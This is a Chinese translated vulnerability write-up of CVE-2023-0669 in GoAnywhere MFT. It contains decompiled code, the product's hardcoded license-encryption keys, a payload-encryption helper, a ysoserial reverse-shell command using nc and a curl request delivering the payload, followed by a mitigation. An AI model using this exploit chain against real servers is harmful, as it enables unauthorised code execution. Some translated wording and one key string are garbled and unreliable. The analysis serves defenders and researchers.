Goanywhere 中未经身份验证的 RCE
2023-2-27 14:48:43 Author: Ots安全(查看原文) 阅读量:29 收藏

介绍

CVE-2023-0669 是一个导致在系统中执行代码 (RCE) 的不安全反序列化漏洞,已在 GoAnywhere MFT 版本中被发现,该版本用作安全7.1.1文件传输解决方案以安全地执行自动文件传输活动。这个漏洞被认为是高度危险的,并且可能是一个零日漏洞,因为一些组织已经将管理门户暴露在互联网上。

基于 shodan(物联网搜索引擎),似乎有超过 999 个管理控制台公开暴露在互联网上,如果它们没有缓解 CVE 或更新应用程序,它们就可以被利用

建立我们的测试环境

让我们首先在我们的操作系统中安装该应用程序note the app support serval operations systems because it's depends on java installation ,运行该应用程序并通过访问检查它是否工作localhost并且默认情况下它在端口上运行8000

下载分析中使用的以下工具,用于反编译(逆向工程)应用程序的Jadx ,用于利用不安全反序列化的ysoserialnote: serial required old JDK 8 to 15和用于 java 环境的JDK

获取Java源代码

最有趣的部分通过使用 Jadx 工具对 java 字节码进行逆向工程以获取 java 源代码,Jadx 工具是用于生成 Java 源代码的命令行和 GUI 工具

所以 Java 字节码是 Java 源代码的编译版本,由 Java 虚拟机 (JVM) 执行,使 Java 应用程序能够跨平台兼容。然而,这个二进制代码仍然可以反转回原始代码,因为它包含一些高级结构,例如类名和方法名以及变量名。

尽管逆向并不困难,但开发人员可以通过使用混淆技术来保护他们的代码,这种技术使代码更难理解和逆向工程。此外,为避免在代码中暴露敏感信息或密钥,开发人员可以单独存储此类数据并在运行时动态检索。

要了解 GoAnywhere MFT 应用程序的工作原理,我们需要深入了解其使用 Servlet API(一种 Java 网络应用程序编程接口)的底层网络框架,

该web.xml文件位于WEB-INF目录中,是应用程序部署描述符的重要组成部分,包含重要信息,例如 servlet 映射和安全配置。

CVE 描述着重于 GoAnywhere MFT 的许可响应处理中的一个漏洞。为了解决这个问题,我们需要查看web.xml文件并对com.linoma.ga.ui.admin.servlet.licenseResponseServlet类进行逆向工程或反编译。

要研究该类licenseResponseServlet,我们必须深入研究libGoAnywhere MFT 应用程序的文件。这些文件包含应用程序使用的各种库和包。我们可以加载该目录中的所有文件,并使用像 Jadx 字符串搜索这样的工具来定位所需的类。但是我发现ga_classes.jar通过将此文件加载到 Jadx 工具中,所需的类位于包中

是时候分析源代码了

分析

前面提到应用程序处理许可证的方式存在错误。因此,我们需要深入研究代码以了解应用程序如何处理许可证。

在LicenseResponseServlet我们找到这段代码

public class LicenseResponseServlet extends HttpServlet {      private static final long serialVersionUID = -441307309120983773L;      private static final Logger LOGGER = LoggerFactory.getLogger(LicenseResponseServlet.class);        public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {          Response response = null;          try {              response = LicenseAPI.getResponse(httpServletRequest.getParameter("bundle"));          } catch (Exception e) {              LOGGER.error("Error parsing license response", e);              httpServletResponse.sendError((int) FtpReply.REPLY_500_SYNTAX_ERROR_COMMAND_UNRECOGNIZED);          }          httpServletRequest.getSession().setAttribute("LicenseResponse", response);          httpServletRequest.getSession().setAttribute(NavigationConstants.SESSION_GOTO_OUTCOME, NavigationConstants.ADMIN_LICENSE_OUTCOME);          httpServletResponse.sendRedirect(httpServletRequest.getScheme() + "://" + httpServletRequest.getServerName() + IAMConstants.SEP + httpServletRequest.getServerPort() + ProductInformation.PRODUCT_MAIN_CONTEXT_PATH + AdminPageURL.LICENSE);      }        public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {          doPost(httpServletRequest, httpServletResponse);      }

所以这是处理这个 Java servlet 代码的方法。它使用doPost并拉入bundle参数来处理 Web 请求,该参数是licenseServer.BUNDLE_param. 然后它会尝试获取一个responseusingLicenseAPI并使用 捕获任何错误try-catch。如果失败,servlet 将发送500错误响应。如果成功,response和 对象将保存在用户的会话中,并将它们重定向到许可证页面。通过查看NavigationConstants课程,我发现了接受许可证的端点/lic/accept

public static final String ADMIN_SERVLET_LICENSE_ACCEPT_PATH = "/lic/accept";

尝试访问端点时,我收到500错误状态代码,但它仍然存在

现在我们对软件如何处理请求bundle及其逻辑有了基本的了解,让我们更深入地了解应用程序如何处理许可证,包括加密。

为此,我们可以licenseapi-2.0.jar从 lib 目录反编译包并检查类。引起我注意的一个类是BundleWorker,它似乎处理与 bundle 参数相关的事情,通过分析 unbundle 方法代码,我们将了解它是如何工作的

public static String unbundle(String base64, KeyConfig keyConfig) throws BundleException {          try {              if (!"1".equals(keyConfig.getVersion())) {                  base64 = base64.substring(0, base64.indexOf("$"));              }              byte[] data = decode(base64.getBytes(CHARSET));              return new String(decompress(verify(decrypt(data, keyConfig.getVersion()), keyConfig)), CHARSET);

接下来,数据使用 Base64 解码并传递给decrypt和verify方法。在解密之前,我们先来看看decrypt方法

/* loaded from: licenseapi-2.0.jar:com/linoma/license/gen2/LicenseEncryptor.class */  public class LicenseEncryptor {      public static final String VERSION_1 = "1";      public static final String VERSION_2 = "2";      private static final byte[] IV = {65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};      private static final String KEY_ALGORITHM = "AES";      private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";        private byte[] getInitializationValue() throws Exception {          byte[] param1 = {103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100};          byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85};          SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");          KeySpec spec = new PBEKeySpec(new String(param1, "UTF-8").toCharArray(), param2, 9535, 256);          SecretKey tmp = factory.generateSecret(spec);          return tmp.getEncoded();      }        private byte[] getInitializationValueV2() throws Exception {          byte[] param1 = {112, 70, 82, 103, 114, 79, 77, 104, 97, 117, 117, 115, 89, 50, 90, 68, 83, 104, 84, 115, 113, 113, 50, 111, 90, 88, 75, 116, 111, 87, 55, 82};          byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};          SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");          KeySpec spec = new PBEKeySpec(new String(param1, "UTF-8").toCharArray(), param2, 3392, 256);          SecretKey tmp = factory.generateSecret(spec);          return tmp.getEncoded();      }  }

只是代码包含一些值,正如我们所见,它使用两个不同的版本,这个版本具有不同的格式,并使用getInitializationValue()称为基于密码的密钥推导的技术生成 secert IV 的方法,该技术采用密码和 sult 值并使用它们导出用于生成 IV 的安全密钥和方法与许可证的getInitializationValueV2()相同v2

如这段代码所示,它使用高级加密标准 (AES) 算法,这是一种symmetric加密算法,这意味着相同的密钥用于加密和解密。当我们需要加密我们的最终有效负载时,这将有助于我们的代码。我们可以提取此代码并创建一个自定义 java 脚本来帮助我们加密我们的序列化有效负载,这将是ysoserial工具的输出。

private static byte[] verify(byte[] data, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {        ObjectInputStream in = null;        try {            String algorithm = "SHA1withDSA";            if ("2".equals(keyConfig.getVersion())) {                algorithm = "SHA512withRSA";            }            PublicKey verificationKey = getPublicKey(keyConfig);            ObjectInputStream in2 = new ObjectInputStream(new ByteArrayInputStream(data));            SignedObject signedLicense = (SignedObject) in2.readObject();            Signature signature = Signature.getInstance(algorithm);            boolean verified = signedLicense.verify(verificationKey, signature);            if (!verified) {                throw new IOException("Unable to verify signature!");            }            SignedContainer sc = (SignedContainer) signedLicense.getObject();            byte[] data2 = sc.getData();            if (in2 != null) {                in2.close();            }            return data2;        } catch (Throwable th) {            if (0 != 0) {                in.close();            }            throw th;        }    }

简单地有一种方法称为verify读取data字节数组和一个KeyConfig对象,并根据版本确定算法,该版本是$2请求中包含的许可证 v2,并检索公钥以验证许可证数据和反序列化data字节作为readObject 字节数组

根本案例

因为readObjectjava 方法是反序列化攻击的主要对象,因为它负责从ObjectInputStream危险的方法中反序列化对象,并且当用户在未经适当验证的情况下控制它时存在安全风险,并导致不良行为者通过小工具链在系统中执行代码是应用程序使用的 java 库或类可以被攻击者操纵为恶意代码有很多类型可以检测它,就像在我们的 CVE 中一样

小工具链

我们案例中的 Gadget Chain 因为这个库,Commons-beanutils-1.9.4.jar不安全的反序列化可以通过改变执行流程来触发 runtime.exe 来实现我们的目标 RCE 从而导致任意代码执行

这里需要注意的是,不安全的反序列化并不总是导致远程代码执行 (RCE),因为它取决于对应用程序使用和反序列化数据的依赖性,但它仍然可能导致其他类型的攻击,如拒绝服务或信息当攻击者操纵执行攻击(例如编辑管理员权限)或攻击(例如特权升级)时的泄露或对象注入

用于ysoserial创建我们的序列化有效负载以通过以下结构获取 RCE

java -jar ysoserial-all.jar Payload "command"

payload:已知应用程序使用的依赖项可以通过 RCE 获取

command:将在系统上执行的命令

如下图所示,来自ysoserial-所有使用文档commons-beanutils都包含在CommonBeanuils1有效负载中

是时候利用这个漏洞了

我们需要在发送之前对有效负载进行加密。为此,我们可以使用 [ https://github.com/0xf4n9x/CVE-2023-0669](https://github.com/0xf4n9x/CVE-2023-0669)提供的工具中的加密部分。但是,我们需要对该工具进行一些修改

将文件路径和版本作为用户的参数并解密有效负载

import java.util.Base64;import javax.crypto.Cipher;import java.nio.charset.StandardCharsets;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.nio.file.Files;import java.nio.file.Paths;public class CVE_2023_0669_helper {    static String ALGORITHM = "AES/CBC/PKCS5Padding";    static byte[] KEY = new byte[30];    static byte[] IV = "AES/CBC/PKCS5Pad".getBytes(StandardCharsets.UTF_8);    public static void main(String[] args) throws Exception {        if (args.length != 2) {            System.out.println("Usage: java CVE_2023_0669_helper <file_path> <version>");            System.exit(1);        }        String filePath = args[0];        String version = args[1];        byte[] fileContent = Files.readAllBytes(Paths.get(filePath));        String encryptedContent = encrypt(fileContent, version);        System.out.println(encryptedContent);    }    public static String encrypt(byte[] data, String version) throws Exception {        Cipher cipher = Cipher.getInstance(ALGORITHM);        KEY = (version.equals("2")) ? getInitializationValueV2() : getInitializationValue();        SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(IV);        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        byte[] encryptedObject = cipher.doFinal(data);        String bundle = Base64.getUrlEncoder().encodeToString(encryptedObject);        String v = (version.equals("2")) ? "$2" : "";        bundle += v;        return bundle;    }    private static byte[] getInitializationValue() throws Exception {        // Version 1 Encryption        String param1 = "[email protected]@$$wrd";        byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85};        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 9535, 256)).getEncoded();    }    private static byte[] getInitializationValueV2() throws Exception {        // Version 2 Encryption        String param1 = "pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R";        byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 3392, 256)).getEncoded();    }}

首先,我们需要通过这个命令来编译代码

javac CVE_2023_0669_helper.java && java CVE_2023_0669_helper

关于代码,只需采用应用程序源代码中提供的硬编码密钥,并使用带有 CBC 模式和PKCS5填充的 AES 加密数据。通过给它文件路径和版本号java CVE_2023_0669_helper [file_path] [version]

作为参数。并将有效负载字符串打印为 Base64 编码,我们将在 PoC 部分介绍它

概念验证和开发

我将在此概念证明中使用 linux,但它不依赖于操作系统来获取 RCE(远程代码执行)

像下面的命令一样使用ysoserial来创建我们的有效载荷并将其加密

Command :java -jar ysoserial-all.jar CommonsBeanutils1 "nc ip port " > PoC.ser

并通过我们的自定义脚本解密 ysoserial 有效负载

Command java -jar CVE2023-helper.jar File_name <the version number(1,2)>

正如我们上面显示的是接收包请求的端点,请求方法是orlic/accept并不重要,我们还可以通过命令行利用它,方法如下GETPOSTcurl

命令:

curl -ivs POST 'http://192.168.1.10:8000/goanywhere/lic/accept?bundle='$(cat final_payload.txt)

这final_payload是ysoserial我们工具加密后的输出

我们得到 shell 漏洞利用在 windows、Linux 和任何系统上都有,因为应用程序依赖于 java 安装而不是操作系统

减轻

及时更新您的应用程序和软件很重要,但有时您无法更新它们并且没有此选择,因此这里是缓解措施以及如何限制此漏洞的传播并确保它不在管理控制台中不应该在网上曝光

1.转到 /adminroot/WEB_INF/web.xmlservlet-mapping配置并添加多行注释 ,<!-- -->因为它是xml 编程语言格式,此编辑将禁用此端点,如下图所示并限制攻击

结论

在分析过程中,我们发现了为什么开发人员不应该信任用户传递的任何对象和暴露敏感信息(如 secert-keys)。我们还确定了这种做法是如何极其危险的,并且此类行为的潜在安全影响变得清晰起来。#RCE

对于此分析中使用的包 && 库和脚本 ==> https://github.com/yosef0x01/CVE-2023-0669-Analysis

原文翻译自:https://www.vicarius.io/vsociety/blog/unauthenticated-rce-in-goanywhere


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247496660&idx=1&sn=9d11e3970180fd38167dddd9c81bd1ad&chksm=9badba9facda338998b8b8717106d4b698268f7dc3fdf156cf052944994151eba7176e9177d2#rd
如有侵权请联系:admin#unsafe.sh